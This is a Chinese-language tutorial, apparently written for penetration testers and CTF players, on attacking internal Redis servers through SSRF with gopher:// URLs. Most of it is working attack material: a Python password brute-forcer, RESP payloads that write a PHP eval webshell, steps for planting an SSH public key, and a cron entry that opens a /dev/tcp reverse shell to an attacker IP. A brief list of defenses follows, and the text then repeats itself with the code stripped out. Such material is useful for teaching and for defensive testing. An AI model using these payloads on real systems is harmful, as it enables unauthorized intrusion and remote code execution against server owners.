利用SSRF攻击内网Redis服务
字数 1299 2025-08-15 21:33:48

Redis数据库SSRF攻击与利用详解

1. Redis数据库概述

Redis (REmote DIctionary Server) 是一个由Salvatore Sanfilippo开发的key-value存储系统,具有以下特点:

  • 开源、使用ANSI C语言编写
  • 遵守BSD协议
  • 支持网络、可基于内存亦可持久化
  • 提供多种语言的API
  • 支持多种数据结构:字符串(String)、哈希(Hash)、列表(list)、集合(sets)和有序集合(sorted sets)

默认端口:6379

2. Redis安装与基本配置

安装Redis (Ubuntu系统)

apt-get install redis-server

配置文件修改

vim /etc/redis/redis.conf

关键配置项:

  1. 监听IP

    bind 127.0.0.1 ::1
    
    • 只监听本地端口
    • 如需远程访问可添加本机IP,但可能导致未授权访问风险
  2. 密码设置

    #requirepass foobared
    
    • 取消注释并修改foobared为实际密码

启动Redis

两种启动方式:

  1. 直接启动:

    /bin/redis-server /etc/redis/redis.conf
    
  2. 服务方式启动:

    service redis-server start
    
    • 注意:服务方式启动可能导致某些目录写入权限问题

3. RESP协议分析

Redis使用RESP(REdis Serialization Protocol)协议进行客户端-服务器通信。

RESP数据类型

  • + Simple Strings (简单字符串)
  • - error (错误)
  • : Integer (整数)
  • $ Bulk Strings (多行字符串)
  • * array (数组)

协议格式示例

认证并设置键值:

*2\r\n$4\r\nauth\r\n$6\r\n123456\r\n
*3\r\n$3\r\nset\r\n$3\r\nATL\r\n$5\r\nOcean\r\n

数据包捕获与分析

使用tcpdump捕获Redis通信:

tcpdump -i lo -s 0 port 6379 -w redis.pcap

4. 通过Gopher协议攻击Redis

基本攻击流程

  1. 构造RESP格式的命令
  2. 进行URL编码
  3. 通过curl+gopher协议发送

示例:认证并设置键值

原始命令:

auth 123456
set ATL2 Ocean2

URL编码后:

*2%0D%0A%244%0D%0Aauth%0D%0A%246%0D%0A123456%0D%0A*3%0D%0A%243%0D%0Aset%0D%0A%244%0D%0AATL2%0D%0A%246%0D%0AOcean2%0D%0A

发送攻击:

curl gopher://127.0.0.1:6379/_*2%0D%0A%244%0D%0Aauth%0D%0A%246%0D%0A123456%0D%0A*3%0D%0A%243%0D%0Aset%0D%0A%244%0D%0AATL2%0D%0A%246%0D%0AOcean2%0D%0A

5. Redis攻击方法

5.1 密码爆破

使用Python脚本爆破Redis密码:

from urllib.parse import quote
from urllib.request import Request, urlopen

url = "http://target/ssrf.php?url="
gopher = "gopher://127.0.0.1:6379/_"

def encoder_url(cmd):
    return quote(cmd).replace("%0A", "%0D%0A")

for password in open("password.txt"):
    cmd = f"auth {password}\nquit\n"
    payload = url + gopher + encoder_url(encoder_url(cmd))
    response = urlopen(Request(payload)).read().decode()
    if response.count("+OK") > 1:
        print(f"Found password: {password}")
        break

5.2 Web目录写Webshell

利用Redis备份功能写入Webshell:

config set dir /var/www/html/
config set dbfilename shell.php
set test1 "\n\n\n<?php eval($_REQUEST['cmd']);?>\n\n\n"
save

Python实现:

path = "/var/www/html"
shell = "\\n\\n\\n<?php eval($_REQUEST['cmd']);?>\\n\\n\\n"
filename = "shell.php"

cmd = f"""auth {password}
config set dir {path}
config set dbfilename {filename}
set test1 "{shell}"
save
quit
"""

5.3 写入SSH公钥

前提条件:

  • 靶机允许密钥登录(修改/etc/ssh/sshd_config)
  • StrictModes设置为no
  • 重启sshd服务

攻击步骤:

  1. 本地生成密钥对:

    ssh-keygen -t rsa
    
  2. 写入公钥:

    path = "/root/.ssh"
    shell = "\\n\\n\\n[公钥内容]\\n\\n\\n"
    filename = "authorized_keys"
    

5.4 定时任务反弹Shell

注意:此方法在CentOS上有效,Ubuntu因权限问题可能失败

反弹Shell命令:

/bin/bash -i >& /dev/tcp/[攻击机IP]/[端口] 0>&1

写入定时任务:

path = "/var/spool/cron/crontabs"  # CentOS: /var/spool/cron
shell = "\\n\\n\\n* * * * * /bin/bash -i >& /dev/tcp/192.168.1.1/1234 0>&1\\n\\n\\n"
filename = "root"  # 用户名

6. CTFHub SSRF-Redis实战

攻击流程:

  1. 识别SSRF漏洞点(如?url=参数)
  2. 构造无密码攻击payload
  3. 写入Webshell
  4. 连接获取flag

示例代码:

url = "http://target/?url="
gopher = "gopher://127.0.0.1:6379/_"

cmd = """config set dir /var/www/html
config set dbfilename shell.php
set test1 "\\n\\n\\n<?php eval($_REQUEST['cmd']);?>\\n\\n\\n"
save
quit
"""

7. 防御措施

  1. 配置安全

    • 设置强密码
    • 限制绑定IP
    • 禁用危险命令(如config
  2. 权限控制

    • 以非root用户运行Redis
    • 限制Redis对关键目录的写入权限
  3. 网络防护

    • 防火墙限制访问
    • 启用TLS加密
  4. 监控与日志

    • 监控异常连接
    • 记录所有操作日志

通过以上详细分析,我们可以全面了解Redis数据库的SSRF攻击方法与防御策略。在实际渗透测试中,应根据目标环境选择最适合的攻击方式,并注意不同系统间的差异。

Redis数据库SSRF攻击与利用详解 1. Redis数据库概述 Redis (REmote DIctionary Server) 是一个由Salvatore Sanfilippo开发的key-value存储系统,具有以下特点: 开源、使用ANSI C语言编写 遵守BSD协议 支持网络、可基于内存亦可持久化 提供多种语言的API 支持多种数据结构:字符串(String)、哈希(Hash)、列表(list)、集合(sets)和有序集合(sorted sets) 默认端口 :6379 2. Redis安装与基本配置 安装Redis (Ubuntu系统) 配置文件修改 关键配置项: 监听IP : 只监听本地端口 如需远程访问可添加本机IP,但可能导致未授权访问风险 密码设置 : 取消注释并修改foobared为实际密码 启动Redis 两种启动方式: 直接启动: 服务方式启动: 注意:服务方式启动可能导致某些目录写入权限问题 3. RESP协议分析 Redis使用RESP(REdis Serialization Protocol)协议进行客户端-服务器通信。 RESP数据类型 + Simple Strings (简单字符串) - error (错误) : Integer (整数) $ Bulk Strings (多行字符串) * array (数组) 协议格式示例 认证并设置键值: 数据包捕获与分析 使用tcpdump捕获Redis通信: 4. 通过Gopher协议攻击Redis 基本攻击流程 构造RESP格式的命令 进行URL编码 通过curl+gopher协议发送 示例:认证并设置键值 原始命令: URL编码后: 发送攻击: 5. Redis攻击方法 5.1 密码爆破 使用Python脚本爆破Redis密码: 5.2 Web目录写Webshell 利用Redis备份功能写入Webshell: Python实现: 5.3 写入SSH公钥 前提条件: 靶机允许密钥登录(修改/etc/ssh/sshd_ config) StrictModes设置为no 重启sshd服务 攻击步骤: 本地生成密钥对: 写入公钥: 5.4 定时任务反弹Shell 注意 :此方法在CentOS上有效,Ubuntu因权限问题可能失败 反弹Shell命令: 写入定时任务: 6. CTFHub SSRF-Redis实战 攻击流程: 识别SSRF漏洞点(如 ?url= 参数) 构造无密码攻击payload 写入Webshell 连接获取flag 示例代码: 7. 防御措施 配置安全 : 设置强密码 限制绑定IP 禁用危险命令(如 config ) 权限控制 : 以非root用户运行Redis 限制Redis对关键目录的写入权限 网络防护 : 防火墙限制访问 启用TLS加密 监控与日志 : 监控异常连接 记录所有操作日志 通过以上详细分析,我们可以全面了解Redis数据库的SSRF攻击方法与防御策略。在实际渗透测试中,应根据目标环境选择最适合的攻击方式,并注意不同系统间的差异。